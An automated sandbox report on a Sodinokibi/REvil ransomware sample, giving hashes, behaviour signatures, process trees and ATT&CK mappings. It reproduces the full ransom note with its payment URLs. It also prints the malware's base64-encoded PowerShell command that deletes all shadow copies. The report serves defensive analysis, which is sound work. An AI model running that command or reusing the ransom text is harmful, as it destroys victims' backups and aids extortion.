Overview

overview

10

Static

static

10

056e5fe015...7d.exe

windows7_x64

10

056e5fe015...7d.exe

windows10_x64

10

Analysis

  • max time kernel
    165s
  • max time network
    165s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 02:36

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General

  • Target

    056e5fe0151d72cbfb3d5f6b15df7997413c27491c868d38feb2c35b5ded5d7d.exe

  • Size

    343KB

  • MD5

    7ff073cc9e4e6750ba52135ba02ee531

  • SHA1

    89c8d223476f2780f80d68d0099858bd7bf47304

  • SHA256

    056e5fe0151d72cbfb3d5f6b15df7997413c27491c868d38feb2c35b5ded5d7d

  • SHA512

    ec88b6cbfc96a0cb2f2be7a21d0b95706307729c275a501df26892bda2b362cbafe5bbae2bf567cf650887616b8639a1338491c80cca0f3617bfe90143a3bc3a

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\5l45a6v383-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 5l45a6v383. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5D7C19040CC6A144 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/5D7C19040CC6A144 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: pz1qf+iXtakM89OnRefkKrCrMY7dRDVliUeIlfhBQwfMv7axE6fk7bdqO6l5F9ij 0Yr8iHWHwe2Hm42ymaKzE9yuxBTFxtDrf4a7sV/za510/ZypqtWBXqkZKceQUFo3 meVS7nYGsNzcuMHc5zY/TT9+7TM284LmiVHqzEpw8zAqFJTQbU4uPHNaLp2nFcku zVmttFU9wqZqR90DPW+bCTNC+F0aUBW3DNcFYCR5Gikmp61SBSfuk49TBuLq6ood OTzbb9uFWrwkf/vajA6BDeMFAUoXkaeiQf27jMwVZ6AAC1vtnSfB51LyC2+/YdLv Yp88u0Ck4nCNPt22inyDiMvWZA7NpQ6oP34w85dK9Huy0O41TRDt8PeiE7qE446S 3r7u5C7cyQZMI29rE8bg9a/VuH43HK+CWjHUtB3FteuHKovJH5cyvkzlX7B09Zih bSdbKDwfyeA2QjucnDipKsJlOrM0fkK3yE3ADEmbJkYjWotaE6pJzBbk4jGCRvwB LTNEA7kAy5fTuA7S86EKWf6f3sKqzdZxFhT/6HpO5OVPV+LtK55sAl47qD+buxHh 4EqUlt4AkN3w2x4v4sU5AXxQdANxMwe905Xlh6A2TwOy0tNHLWc3BIjXLPloxHCs 6/AocZFhBiv32NSWwfTPxWHArAx6H0MeU+NXKaSh/PX459zGz/DyxfdXwzuWnG0C JuCiiQg9OvppWFzn2sJkB8UQdEyU9K/64Q7ftJcNrGAAlR6y0d6ZSFuw7o/teiN+ yK6lPuRN5nY+TGSAdnxpMpDMOK2tZtvax4Z0ylWElXdecvNAb39f4hsysGjebxVz eayAAWc7JJnSQ2BpxzPKVEkfRTHnNM89YeL5ceLwEd8U9aSA+njLgItTx06fitn7 6cC2/znvfDl9iVd8JTdkWKrhsCXWXw6GYFi1aDaZFDFqH1XTv38EcaMvkHDy/j30 JuXVKKVRyIhEKDCN95Nv9siR0M1IiGQU/ycfHEMZ9fMx/G/88AdQ9jlDIfmBsPhQ ThHAFyT7niNg4Nfch+CN0bneWQuDI4asXSav04GjKfsKN6CqCjR1pMF3/G5oEmhS ATHlQNZ6fPEcDBZXTSSuLnxJ00hsTJgvs7996TxNxcZ81BBx6KcXTbmNivybh1P6 1IzUP3PoIhEvVnQdELBV9ZlO/8m73eY8+SbWD9/U4R2hwmtwmzlcsN48KpvcAmEn v48FUd/qtvCjT0itaKQURGymA6AuIAXbr5cJWRTyhetjl9d+0ysG6MlJv5aqCHPQ YdsNfu3UEMj57bRFqlWm7erm4mi4dk2S Extension name: 5l45a6v383 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5D7C19040CC6A144

http://decryptor.cc/5D7C19040CC6A144

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 5 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 25 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\056e5fe0151d72cbfb3d5f6b15df7997413c27491c868d38feb2c35b5ded5d7d.exe
    "C:\Users\Admin\AppData\Local\Temp\056e5fe0151d72cbfb3d5f6b15df7997413c27491c868d38feb2c35b5ded5d7d.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:728
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:808
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3948

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Privilege Escalation

    Defense Evasion

    Modify Registry

    3
    T1112

    Install Root Certificate

    1
    T1130

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Defacement

    1
    T1491

    Replay Monitor

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    Downloads

    • memory/728-122-0x000001D466C93000-0x000001D466C95000-memory.dmp
      Filesize

      8KB

      Download
    • memory/728-121-0x000001D466C90000-0x000001D466C92000-memory.dmp
      Filesize

      8KB

      Download
    • memory/728-123-0x000001D44E9C0000-0x000001D44E9E2000-memory.dmp
      Filesize

      136KB

      Download
    • memory/728-126-0x000001D4676B0000-0x000001D467726000-memory.dmp
      Filesize

      472KB

      Download